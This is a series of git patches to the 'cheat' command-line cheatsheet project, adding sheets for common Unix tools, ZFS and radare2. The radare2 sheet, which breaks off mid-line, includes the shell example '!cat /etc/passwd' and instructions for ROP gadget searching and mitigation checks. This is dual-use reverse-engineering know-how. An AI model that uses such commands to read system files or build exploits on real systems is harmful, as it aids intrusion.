From d7272c50c43d48c6ee2c051709a85fafdab1154a Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Sat, 16 Sep 2017 23:15:15 -0400 Subject: [PATCH 01/97] v2.2.2 Added new cheatsheets. --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index f48f069..00940d5 100755 --- a/bin/cheat +++ b/bin/cheat @@ -42,7 +42,7 @@ from docopt import docopt if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.2.1') + options = docopt(__doc__, version='cheat 2.2.2') # list directories if options['--directories']: diff --git a/setup.py b/setup.py index 514f806..499f340 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ import os setup( name = 'cheat', - version = '2.2.1', + version = '2.2.2', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From aa4f6daf771c465073747644582b82495a6853c8 Mon Sep 17 00:00:00 2001 From: Michihito Shigemura Date: Wed, 4 Oct 2017 23:47:33 +0900 Subject: [PATCH 02/97] Add cheatsheet for cp backup file with date --- cheat/cheatsheets/cp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/cp b/cheat/cheatsheets/cp index 3c0e246..5e84c64 100644 --- a/cheat/cheatsheets/cp +++ b/cheat/cheatsheets/cp @@ -6,3 +6,6 @@ cp -r ~/Desktop/cruise_pics/ ~/Pictures/ # Create a copy but ask to overwrite if the destination file already exists cp -i ~/Desktop/foo.txt ~/Documents/foo.txt + +# Create a backup file with date +cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"} \ No newline at end of file From 761bf2eb2f138efdde33a24ae4cdc89ddb0836b5 Mon Sep 17 00:00:00 2001 From: sunyakun Date: Thu, 12 Oct 2017 09:25:20 +0800 Subject: [PATCH 03/97] hightlight the search keywords --- cheat/sheets.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/cheat/sheets.py b/cheat/sheets.py index 1a0b28e..e60bffb 100644 --- a/cheat/sheets.py +++ b/cheat/sheets.py @@ -84,6 +84,8 @@ def search(term): match = '' for line in open(cheatsheet[1]): if term in line: + if 'CHEATCOLORS' in os.environ: + line = line.replace(term, '\033[1;31m' + term + '\033[0m'); match += ' ' + line if match != '': From 57dff86a4461ed1b91190a7cdfa4554223ef8047 Mon Sep 17 00:00:00 2001 From: Thor Andreas Rognan Date: Fri, 13 Oct 2017 14:37:07 +0200 Subject: [PATCH 04/97] Add cheat for downloading audio with youtube-dl --- cheat/cheatsheets/youtube-dl | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/youtube-dl b/cheat/cheatsheets/youtube-dl index 2ff3536..de8a403 100644 --- a/cheat/cheatsheets/youtube-dl +++ b/cheat/cheatsheets/youtube-dl @@ -16,5 +16,8 @@ youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid # To simulate a download with youtube-dl: youtube-dl -s example.com/watch?v=id +# To download audio in mp3 format with best quality available +youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id + # For all video formats see # http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs From 4319b8e69922676acc5c596fd2ad98c739377458 Mon Sep 17 00:00:00 2001 From: Michihito Shigemura Date: Tue, 24 Oct 2017 22:23:36 +0900 Subject: [PATCH 05/97] Add curl cheatsheet: Get only the HTTP status code curl -o /dev/null -w '%{http_code}\n' -s -I URL --- cheat/cheatsheets/curl | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/curl b/cheat/cheatsheets/curl index 52f53ea..c8c281f 100644 --- a/cheat/cheatsheets/curl +++ b/cheat/cheatsheets/curl @@ -36,3 +36,6 @@ curl --limit-rate 1000B -O http://path.to.the/file # Get your global IP curl httpbin.org/ip + +# Get only the HTTP status code +curl -o /dev/null -w '%{http_code}\n' -s -I URL From 2c10955690012c25a5d20893cf9549f1e63fe580 Mon Sep 17 00:00:00 2001 From: Michihito Shigemura Date: Fri, 27 Oct 2017 00:11:27 +0900 Subject: [PATCH 06/97] Add cheatsheet for xargs --no-run-if-empty --- cheat/cheatsheets/xargs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/cheat/cheatsheets/xargs b/cheat/cheatsheets/xargs index 44bf20a..a1391f3 100644 --- a/cheat/cheatsheets/xargs +++ b/cheat/cheatsheets/xargs @@ -10,3 +10,7 @@ find -name *.pdf | xargs -I{} rm -rf '{}' # -n1 => One file by one file. ( -n2 => 2 files by 2 files ) find -name *.pdf | xargs -I{} -n1 echo '&{}=' + +# If find returns no result, do not run rm +# This option is a GNU extension. +find -name "*.pdf" | xargs --no-run-if-empty rm From 181403e7acb859180876807f902731d7923fe04b Mon Sep 17 00:00:00 2001 From: zrongh90 <397864223@qq.com> Date: Tue, 31 Oct 2017 16:00:16 +0800 Subject: [PATCH 07/97] create iconv add new iconv for code convert --- cheat/cheatsheets/iconv | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 cheat/cheatsheets/iconv diff --git a/cheat/cheatsheets/iconv b/cheat/cheatsheets/iconv new file mode 100644 index 0000000..8c396d6 --- /dev/null +++ b/cheat/cheatsheets/iconv @@ -0,0 +1,2 @@ +# convert file(iconv.src) from iso-8859-1 to utf-8 and save to /tmp/iconv.out +iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out From 1a8cdf84f42b37c29b344f722fec6a0c4ffd63f6 Mon Sep 17 00:00:00 2001 From: byxor Date: Wed, 1 Nov 2017 16:16:49 +0000 Subject: [PATCH 08/97] Add instructions for running emacs in terminal --- cheat/cheatsheets/emacs | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/cheat/cheatsheets/emacs b/cheat/cheatsheets/emacs index b972943..454d9b5 100644 --- a/cheat/cheatsheets/emacs +++ b/cheat/cheatsheets/emacs @@ -1,3 +1,8 @@ +# Running emacs + + GUI mode $ emacs + Terminal mode $ emacs -nw + # Basic usage Indent Select text then press TAB @@ -17,7 +22,7 @@ Font size bigger CTRL-x CTRL-+ Font size smaller CTRL-x CTRL-- -# Buffers +# Buffers Split screen vertically CTRL-x 2 Split screen vertically with 5 row height CTRL-u 5 CTRL-x 2 From 30d2a77a6ceca696a5dd0f2416e60e17441e7847 Mon Sep 17 00:00:00 2001 From: Dave Clarke Date: Thu, 2 Nov 2017 11:53:08 -0500 Subject: [PATCH 09/97] Adds cheatsheet for rcs --- cheat/cheatsheets/rcs | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 cheat/cheatsheets/rcs diff --git a/cheat/cheatsheets/rcs b/cheat/cheatsheets/rcs new file mode 100644 index 0000000..2e41a5f --- /dev/null +++ b/cheat/cheatsheets/rcs @@ -0,0 +1,26 @@ +# Initial check-in of file (leaving file active in filesystem) +ci -u + +# Check out with lock +co -l + +# Check in and unlock (leaving file active in filesystem) +ci -u + +# Display version x.y of a file +co -px.y + +# Undo to version x.y (overwrites file active in filesystem with the specified revision) +co -rx.y + +# Diff file active in filesystem and last revision +rcsdiff + +# Diff versions x.y and x.z +rcsdiff -rx.y -rx.z + +# View log of check-ins +rlog + +# Break an RCS lock held by another person on a file +rcs -u From 837e0b5b71491c971ac65b9edb758dbf923a1b5c Mon Sep 17 00:00:00 2001 From: nitsnatsnok Date: Sun, 12 Nov 2017 00:50:30 +0100 Subject: [PATCH 10/97] sizes and typo corrected MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `-size +20000k` actually matches files bigger than 20,000*1,024=20,480,000 Bytes, not 20,000,000 Bytes as in “2 Megabytes”. --- cheat/cheatsheets/find | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/cheat/cheatsheets/find b/cheat/cheatsheets/find index 42e886a..d1f0693 100644 --- a/cheat/cheatsheets/find +++ b/cheat/cheatsheets/find @@ -19,11 +19,11 @@ find ./path/ -name '*.txt' -exec rm '{}' \; # To find files with extension '.txt' and look for a string into them: find ./path/ -name '*.txt' | xargs grep 'string' -# To find files with size bigger than 5 Mb and sort them by size: +# To find files with size bigger than 5 Mebibyte and sort them by size: find . -size +5M -type f -print0 | xargs -0 ls -Ssh | sort -z -# To find files bigger thank 2 MB and list them: -find . -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' +# To find files bigger than 2 Megabyte and list them: +find . -type f -size +200000000c -exec ls -lh {} \; | awk '{ print $9 ": " $5 }' # To find files modified more than 7 days ago and list file information find . -type f -mtime +7d -ls From d12718b8c46ad726fbb32e56b6beffd308eb1d88 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Sun, 19 Nov 2017 08:09:37 -0500 Subject: [PATCH 11/97] `cp` edit Appended missing newline to end of `cp` cheatsheet. --- cheat/cheatsheets/cp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cheat/cheatsheets/cp b/cheat/cheatsheets/cp index 5e84c64..7003e2c 100644 --- a/cheat/cheatsheets/cp +++ b/cheat/cheatsheets/cp @@ -8,4 +8,4 @@ cp -r ~/Desktop/cruise_pics/ ~/Pictures/ cp -i ~/Desktop/foo.txt ~/Documents/foo.txt # Create a backup file with date -cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"} \ No newline at end of file +cp foo.txt{,."$(date +%Y%m%d-%H%M%S)"} From 0b0bc441c6932926fff9a31944eadcfa2e04100a Mon Sep 17 00:00:00 2001 From: Michihito Shigemura Date: Mon, 20 Nov 2017 21:20:22 +0900 Subject: [PATCH 12/97] Add cheatsheet perl --- cheat/cheatsheets/perl | 8 ++++++++ 1 file changed, 8 insertions(+) create mode 100644 cheat/cheatsheets/perl diff --git a/cheat/cheatsheets/perl b/cheat/cheatsheets/perl new file mode 100644 index 0000000..bd7edc7 --- /dev/null +++ b/cheat/cheatsheets/perl @@ -0,0 +1,8 @@ +# To view the perl version: +perl -v + +# Replace string "\n" to newline +echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;' + +# Replace newline with multiple line to space +cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m" From cde64e3ea4692c8b71e9d7a7a3dad232c0c85800 Mon Sep 17 00:00:00 2001 From: Navjot Singh Date: Mon, 27 Nov 2017 11:52:05 +0530 Subject: [PATCH 13/97] Cheatsheet for cd --- cheat/cheatsheets/cd | 11 +++++++++++ 1 file changed, 11 insertions(+) create mode 100644 cheat/cheatsheets/cd diff --git a/cheat/cheatsheets/cd b/cheat/cheatsheets/cd new file mode 100644 index 0000000..d07a168 --- /dev/null +++ b/cheat/cheatsheets/cd @@ -0,0 +1,11 @@ +#Go to the given directory +cd path/to/directory + +#Go to home directory of current user +cd + +#Go up to the parent of the current directory +cd .. + +#Go to the previously chosen directory +cd - From 71680c65861f9555fa5e8d04139244b42d360fcf Mon Sep 17 00:00:00 2001 From: Michihito Shigemura Date: Tue, 28 Nov 2017 22:12:20 +0900 Subject: [PATCH 14/97] Add cheatsheet for mysql check stored procedure or stored function in mysql --- cheat/cheatsheets/mysql | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/cheat/cheatsheets/mysql b/cheat/cheatsheets/mysql index 9ad46d9..3ef2a2c 100644 --- a/cheat/cheatsheets/mysql +++ b/cheat/cheatsheets/mysql @@ -28,4 +28,10 @@ INSERT INTO tbl_name (col1,col2) VALUES(15,col1*2); UPDATE tbl_name SET col1 = "example"; # Basic DELETE Statement -DELETE FROM tbl_name WHERE user = 'jcole'; \ No newline at end of file +DELETE FROM tbl_name WHERE user = 'jcole'; + +# To check stored procedure +SHOW PROCEDURE STATUS; + +# To check stored function +SHOW FUNCTION STATUS; From b303bc002863c8afa76a2f5ac81400d0ae8a2f89 Mon Sep 17 00:00:00 2001 From: iamatacos Date: Thu, 14 Dec 2017 15:38:08 +0000 Subject: [PATCH 15/97] added support for Got-Your-Back for backup from Gmail --- cheat/cheatsheets/gyb | 13 +++++++++++++ 1 file changed, 13 insertions(+) create mode 100644 cheat/cheatsheets/gyb diff --git a/cheat/cheatsheets/gyb b/cheat/cheatsheets/gyb new file mode 100644 index 0000000..3e4f79c --- /dev/null +++ b/cheat/cheatsheets/gyb @@ -0,0 +1,13 @@ +# Estimate the number and the size of all mails on youremail@gmail.com +gyb --email youremail@gmail.com --action estimate + +# backup from youremail@gmail.com to your local-folder +gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/" + +# backup from youremail@gmail.com only important or starred emails to the default local folder GYB-GMail-Backup-youremail@gmail.com +gyb --email youremail@gmail.com --search "is:important OR is:starred" + +# restore from your local-folder to youremail@gmail.com +gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/" + + From c67adb14220b352c567ec3e9a46da2f29caa0404 Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 19 Dec 2017 12:25:40 -0500 Subject: [PATCH 16/97] Minor edits to #367. --- cheat/cheatsheets/gyb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/cheat/cheatsheets/gyb b/cheat/cheatsheets/gyb index 3e4f79c..2fe9f8a 100644 --- a/cheat/cheatsheets/gyb +++ b/cheat/cheatsheets/gyb @@ -1,13 +1,12 @@ -# Estimate the number and the size of all mails on youremail@gmail.com +# To estimate the number and the size of all mails on youremail@gmail.com gyb --email youremail@gmail.com --action estimate -# backup from youremail@gmail.com to your local-folder +# To backup from youremail@gmail.com to your local-folder gyb --email youremail@gmail.com --action backup --local-folder "~/MyLocalFolder/" -# backup from youremail@gmail.com only important or starred emails to the default local folder GYB-GMail-Backup-youremail@gmail.com +# To backup from youremail@gmail.com only important or starred emails to the +# default local folder GYB-GMail-Backup-youremail@gmail.com gyb --email youremail@gmail.com --search "is:important OR is:starred" -# restore from your local-folder to youremail@gmail.com +# To restore from your local-folder to youremail@gmail.com gyb --email youremail@gmail.com --action restore --local-folder "~/MyLocalFolder/" - - From e2d63e760318081f7efef7c4d59ba70d35316e6f Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 19 Dec 2017 12:29:52 -0500 Subject: [PATCH 17/97] Minor edits to #357 --- cheat/cheatsheets/iconv | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cheat/cheatsheets/iconv b/cheat/cheatsheets/iconv index 8c396d6..7b20584 100644 --- a/cheat/cheatsheets/iconv +++ b/cheat/cheatsheets/iconv @@ -1,2 +1,3 @@ -# convert file(iconv.src) from iso-8859-1 to utf-8 and save to /tmp/iconv.out +# To convert file (iconv.src) from iso-8859-1 to utf-8 and save to +# /tmp/iconv.out iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out From aa1e12625e5ee42fbfdf6f5a093233a8b99af81a Mon Sep 17 00:00:00 2001 From: Chris Lane Date: Tue, 19 Dec 2017 12:42:07 -0500 Subject: [PATCH 18/97] Version bump to 2.2.3. --- bin/cheat | 2 +- setup.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/bin/cheat b/bin/cheat index 00940d5..9213639 100755 --- a/bin/cheat +++ b/bin/cheat @@ -42,7 +42,7 @@ from docopt import docopt if __name__ == '__main__': # parse the command-line options - options = docopt(__doc__, version='cheat 2.2.2') + options = docopt(__doc__, version='cheat 2.2.3') # list directories if options['--directories']: diff --git a/setup.py b/setup.py index 499f340..6788406 100644 --- a/setup.py +++ b/setup.py @@ -3,7 +3,7 @@ import os setup( name = 'cheat', - version = '2.2.2', + version = '2.2.3', author = 'Chris Lane', author_email = 'chris@chris-allen-lane.com', license = 'GPL3', From 0c0d924df6dba25c3d54482a5c3da6cc13c5c354 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?C=C3=A9dric=20DUFOUR?= Date: Sun, 24 Dec 2017 16:33:37 +0100 Subject: [PATCH 19/97] New Sheet Added: ZFS (on Linux) --- cheat/cheatsheets/zfs | 126 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 cheat/cheatsheets/zfs diff --git a/cheat/cheatsheets/zfs b/cheat/cheatsheets/zfs new file mode 100644 index 0000000..845c079 --- /dev/null +++ b/cheat/cheatsheets/zfs @@ -0,0 +1,126 @@ +# WARNING: +# In order to avoid headaches when moving ZFS physical devices around, +# one will be much better served to reference devices by their *immutable* +# ID - as in /dev/disk/by-id/* - rather than their block device name - +# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration +# order. +# For the sake of briefness, we'll use the following variables: +# ${device} device (/dev/disk/by-id/${device}) +# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}}) +# ${pool} ZFS pool (name) +# ${fs_vol} ZFS file system or volume (name) +# ${snapshot} ZFS snapshot (name) + + +## Pools + +# Create a new "RAID-5" (raidz1) pool +# Recommended: use entire devices rather than partitions +zpool create ${pool} raidz1 ${device} ${device} ${device} [...] + +# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache) +# Recommended: use separate, fast, low-latency devices (e.g. NVMe) +zpool add ${pool} log mirror ${part} ${part} + +# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache) +# Recommended: use separate, fast, low-latency devices (e.g. NVMe) +zpool add ${pool} cache ${part} ${part} [...] + +# Remove log or cache components +zpool remove zfs ${part} [...] + +# Import (enable) existing pool from newly connected devices +# Note: this will create the /etc/zfs/zpool.cache devices cache +zpool import -d /dev/disk/by-id -aN + +# Import (enable) existing pool using the devices cache +zpool import -c /etc/zfs/zpool.cache -aN + +# Export (disable) pool (e.g. before shutdown) +zpool export -a + +# List all (imported) pools +zpool list + +# See pool status +zpool status ${pool} + +# See detailed pool I/O statistics +zpool iostat ${pool} -v + +# Verify pool integrity (data checksums) +# (watch progress with 'zpool status') +zpool scrub ${pool} + +# Remove a failing device from a pool +# Note: redundant pools (mirror, raidz) will continue working in degraded state +zpool detach ${pool} ${device} + +# Replace a failed device in a pool +# Note: new device will be "resilvered" automatically (parity reconstruction) +# (watch progress with 'zpool status') +zpool replace ${pool} ${failed-device} ${new-device} + +# Erase zpool labels ("superblock") from a device/partition +# WARNING: MUST do before reusing a device/partition for other purposes +zpool labelclear ${device} + +# Query pool configuration (properties) +zpool get all ${pool} + +# Change pool configuration (property) +zpool set = ${pool} + +# Dump the entire pool (commands) history +zpool history ${pool} + +# More... +man zpool + + +## File systems / Volumes + +# Create a new file system +zfs create ${pool}/${fs_vol} + +# Create a new volume ("block device") +# Note: look for it in /dev/zvol/${pool}/${fs_vol} +zfs create -V ${pool}/${fs_vol} + +# List all file systems / volumes +zfs list + +# Mount all file systems +# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path +zfs mount -a + +# Create a snapshot +zfs snapshot ${pool}/${fs_vol}@${snapshot} + +# Delete a snapshot +zfs destroy ${pool}/${fs_vol}@${snapshot} + +# Full backup +# Note: pipe (|) source to destination through netcat, SSH, etc. +# ... on source: +zfs send -p -R ${pool}/${fs_vol}@${snapshot} +# ... on destination: +zfs receive -F ${pool}/${fs_vol} + +# Incremental backup +# Note: pipe (|) source to destination through netcat, SSH, etc. +# ... on source: +zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot} +# ... on destination: +zfs receive -F ${pool}/${fs_vol} + +# Query file system / volume configuration (properties) +zfs get all ${pool} +zfs get all ${pool}/${fs_vol} + +# Change file system / volume configuration (property) +zfs set = ${pool}/${fs_vol} + +# More... +man zfs + From 3fe72a03cc790381bc3fa591439c18867deae865 Mon Sep 17 00:00:00 2001 From: Kevin Woo Date: Sun, 4 Feb 2018 18:57:25 -0800 Subject: [PATCH 20/97] new cheat for mv: moving many files into a dir --- cheat/cheatsheets/mv | 3 +++ 1 file changed, 3 insertions(+) diff --git a/cheat/cheatsheets/mv b/cheat/cheatsheets/mv index a3f5f19..5a79545 100644 --- a/cheat/cheatsheets/mv +++ b/cheat/cheatsheets/mv @@ -12,3 +12,6 @@ mv -i ~/Desktop/foo.txt ~/Documents/foo.txt # Move a file from one place to another but never overwrite anything # (This will override any previous -f or -i args) mv -n ~/Desktop/foo.txt ~/Documents/foo.txt + +# Move listed files to a directory +mv -t ~/Desktop/ file1 file2 file3 From c09f0b0c6ca2b5ce9495c0a91faf647824cda5e4 Mon Sep 17 00:00:00 2001 From: bu6hunt3r Date: Sun, 4 Mar 2018 20:30:27 +0100 Subject: [PATCH 21/97] Added sheet for r2 disassembler/debugger/hex editor --- cheat/cheatsheets/r2 | 925 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 925 insertions(+) create mode 100644 cheat/cheatsheets/r2 diff --git a/cheat/cheatsheets/r2 b/cheat/cheatsheets/r2 new file mode 100644 index 0000000..e5be1e1 --- /dev/null +++ b/cheat/cheatsheets/r2 @@ -0,0 +1,925 @@ +# Command Line options + -L: List of supported IO plugins + + -q: Exit after processing commands + + -w: Write mode enabled + + -i: Interprets a r2 script + + -A: Analize executable at load time (xrefs, etc) + + -n: Bare load. Do not load executable info as the entrypoint + + -c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main') + + -p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project) + + -: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512 + +----------------------------------------------------------------------------------------------------------------------------- + +# Configuration properties + e: Returs configuration properties + + e : Checks a specific property: + e asm.tabs => false + + e =: Change property value + e asm.arch=ppc + + e? help about a configuration property + e? cmd.stack + + + + # Show comments at right of disassembly if they fit in screen + e asm.cmtright=true + + # Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok + e asm.pseudo = true + + # Display stack and register values on top of disasembly view (visual mode) + e cmd.stack = true + + # Solarized theme + eco solarized + + # Use UTF-8 to show cool arrows that do not look like crap :) + e scr.utf8 = true + +----------------------------------------------------------------------------------------------------------------------------- + +# Basic Commands + + ; Command chaining: x 3;s+3;pi 3;s+3;pxo 4; + + | Pipe with shell commands: pd | less + + ! Run shell commands: !cat /etc/passwd + + !! Escapes to shell, run command and pass output to radare buffer + + Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this + command to launch it directly to the shell. A single one will walk through the io plugin list. + + ` Radare commands: wx `!ragg2 -i exec` + + ~ grep + + ~! grep -v + + ~[n] grep by columns afl~[0] + + ~:n grep by rows afl~:0 + + ~.. less/more mode + + +------------------------------------------------------------------- + + pi~mov,eax ; lines with mov or eax + pi~mov&eax ; lines with mov and eax + pi~mov,eax:6 ; 6 first lines with mov or eax + pd 20~call[0]:0 ; grep first column of the first row matching 'call' + + +------------------------------------------------------------------- + + .cmd Interprets command output + + +------------------------------------------------------------------- + + is* prints symbolos + .is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n) + + +------------------------------------------------------------------- + + .. repeats last commands (same as enter \n) + + ( Used to define and run macros + + $ Used to define alias + + $$: Resolves to current address + + Offsets (@) are absolute, we can use $$ for relative ones @ $$+4 + + ? Evaluate expression + +------------------------------------------------------------------- + + [0x00000000]> ? 33 +2 + 35 0x23 043 0000:0023 35 00100011 35.0 0.000000 + Note: | and & need to be escaped + + +------------------------------------------------------------------- + + ?$? Help for variables used in expressions + + $$: Here + + $s: File size + + $b: Block size + + $l: Opcode length + + $j: When $$ is at a jmp, $j is the address where we are going to jump to + + $f: Same for jmp fail address + + $m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10) + + ??? Help for ? command + + ?i Takes input from stdin. Eg ?i username + + ?? Result from previous operations + + ?s from to [step]: Generates sequence from to every + + ?p: Get physical address for given virtual address + + ?P: Get virtual address for given physical one + + ?v Show hex value of math expr + + +------------------------------------------------------------------- + + ?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d + ?v 0x4141414a - 0x41414140 = 0xa + + +------------------------------------------------------------------- + + ?l str: Returns the length of string + + @@: Used for iteractions + + +------------------------------------------------------------------- + + wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30 + wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3 + wx 90 @@ sym.* Writes a nop on every symbol + + +------------------------------------------------------------------- + +# Positioning + + s address: Move cursor to address or symbol + + s-5 (5 bytes backwards) + + s- undo seek + + s+ redo seek + +# Block Size + + b size: Change block size + +# Analyze + + aa: Analyze all (fcns + bbs) same that running r2 with -A + + ahl : fake opcode length for a range of bytes + + ad: Analyze data + + ad@rsp (analize the stack) + + + Normal mode + + af: Analyze functions + + afl: List all functions + number of functions: afl~? + + afi: Returns information about the functions we are currently at + + afr: Rename function: structure and flag + + afr off: Restore function name set by r2 + + afn: Rename function + + afn strlen 0x080483f0 + + af-: Removes metadata generated by the function analysis + + af+: Define a function manually given the start address and length + af+ 0xd6f 403 checker_loop + + axt: Returns cross references to (xref to) + + axf: Returns cross references from (xref from) + + + Visual mode + + d, f: Function analysis + + d, u: Remove metadata generated by function analysis + + + Opcode analysis + + ao x: Analize x opcodes from current offset + + a8 bytes: Analize the instruction represented by specified bytes + +# Information + + iI: File info + + iz: Strings in data section + + izz: Strings in the whole binary + + iS: Sections + iS~w returns writable sections + + is: Symbols + is~FUNC exports + + il: Linked libraries + + ii: Imports + + ie: Entrypoint + + + Mitigations + + i~pic : check if the binary has position-independent-code + + i~nx : check if the binary has non-executable stack + + i~canary : check if the binary has canaries + +# Print + + psz n @ offset: Print n zero terminated String + + px n @ offset: Print hexdump (or just x) of n bytes + + pxw n @ offset: Print hexdump of n words + pxw size@offset prints hexadecimal words at address + + pd n @ offset: Print n opcodes disassambled + + pD n @ offset: Print n bytes disassembled + + pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions) + + pdf @ offset: Print disassembled function + pdf~XREF (grep: XREFs) + pdf~call (grep: calls) + + pcp n @ offset: Print n bytes in python string output. + pcp 0x20@0x8048550 + import struct + buf = struct.pack ("32B", + 0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00, + 0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20, + 0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz) + + p8 n @ offset: Print n bytes (8bits) (no hexdump) + + pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...) + + pt: Interpret data as dates + + pf: Print with format + + pf.: list all formats + + p=: Print entropy ascii graph + +# Write + + wx: Write hex values in current offset + wx 123456 + wx ff @ 4 + + wa: Write assembly + wa jnz 0x400d24 + + wc: Write cache commit + + wv: Writes value doing endian conversion and padding to byte + + wo[x]: Write result of operation + wow 11223344 @102!10 + write looped value from 102 to 102+10 + 0x00000066 1122 3344 1122 3344 1122 0000 0000 0000 + + wox 0x90 + XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block) + + wox 67 @4!10 + XOR from offset 4 to 10 with value 67 + + wf file: Writes the content of the file at the current address or specified offset (ASCII characters only) + + wF file: Writes the content of the file at the current address or specified offset + + wt file [sz]: Write to file (from current seek, blocksize or sz bytes) + Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF) + + woO 41424344 : get the index in the De Bruijn Pattern of the given word + +# Flags + + f: List flags + + f label @ offset: Define a flag `label` at offset + f str.pass_len @ 0x804999c + + f -label: Removes flag + + fr: Rename flag + + fd: Returns position from nearest flag (looking backwards). Eg => entry+21 + + fs: Show all flag spaces + + fs flagspace: Change to the specified flag space + +# Yank & Paste + + y n: Copies n bytes from current position + + y: Shows yank buffer contentent with address and length where each entry was copied from + + yp: Prints yank buffer + + yy offset: Paste the contents of the yank buffer at the specified offset + + yt n target @ source: Yank to. Copy n bytes fromsource to target address + +# Visual Mode + + q: Exits visual mode + + hjkl: move around (or HJKL) (left-down-up-right) + + o: go/seek to given offset + + ?: Help + + .: Seek EIP + + : Follow address of the current jump/call + + :cmd: Enter radare commands. Eg: x @ esi + + d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it. + dr: Rename a function + df: Define a function + + v: Get into the visual code analysis menu to edit/look closely at the current function. + + p/P: Rotate print (visualization) modes + hex, the hexadecimal view + disasm, the disassembly listing + Use numbers in [] to follow jump + Use "u" to go back + + debug, the debugger + words, the word-hexidecimal view + buf, the C-formatted buffer + annotated, the annotated hexdump. + + c: Changes to cursor mode or exits the cursor mode + select: Shift+[hjkl] + i: Insert mode + a: assembly inline + A: Assembly in visual mode + y: Copy + Y: Paste + f: Creates a flag where cursor points to + in the hexdump view to toggle between hex and strings columns + + V: View ascii-art basic block graph of current function + + W: WebUI + + x, X: XREFs to current function. ("u" to go back) + + t: track flags (browse symbols, functions..) + + gG: Begging or end of file + + HUD + _ Show HUD + backspace: Exits HUD + We can add new commands to HUD in: radare2/shlr/hud/main + + ;[-]cmt: Add/remove comment + + m: Define a bookmark + + ': Go to previously defined bookmark + +# ROP + + /R opcodes: Search opcodes + + /R pop,pop,ret + + /Rl opcodes: Search opcodes and print them in linear way + + /Rl jmp eax,call ebx + + /a: Search assembly + + /a jmp eax + + pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng + + e search.roplen = 4 (change the depth of the search, to speed-up the hunt) + +# Searching + + / bytes: Search bytes + \x7fELF + + +------------------------------------------------------------------- + + push ebp + mov ebp, esp + + Opcodes: 5589e5 + + /x 5589e5 + [# ]hits: 54c0f4 < 0x0804c600 hits = 1 + 0x08049f70 hit0_0 5589e557565383e4f081ec + 0x0804c31a hit0_1 5589e583ec18c704246031 + 0x0804c353 hit0_2 5589e583ec1889442404c7 + 0x0804c379 hit0_3 5589e583ec08e87cffffff + 0x0804c3a2 hit0_4 5589e583ec18c70424302d + + pi 5 @@hit* (Print 5 first instructions of every hit) + + +------------------------------------------------------------------- + + Its possible to run a command for each hit. Use the cmd.hit property: + + e 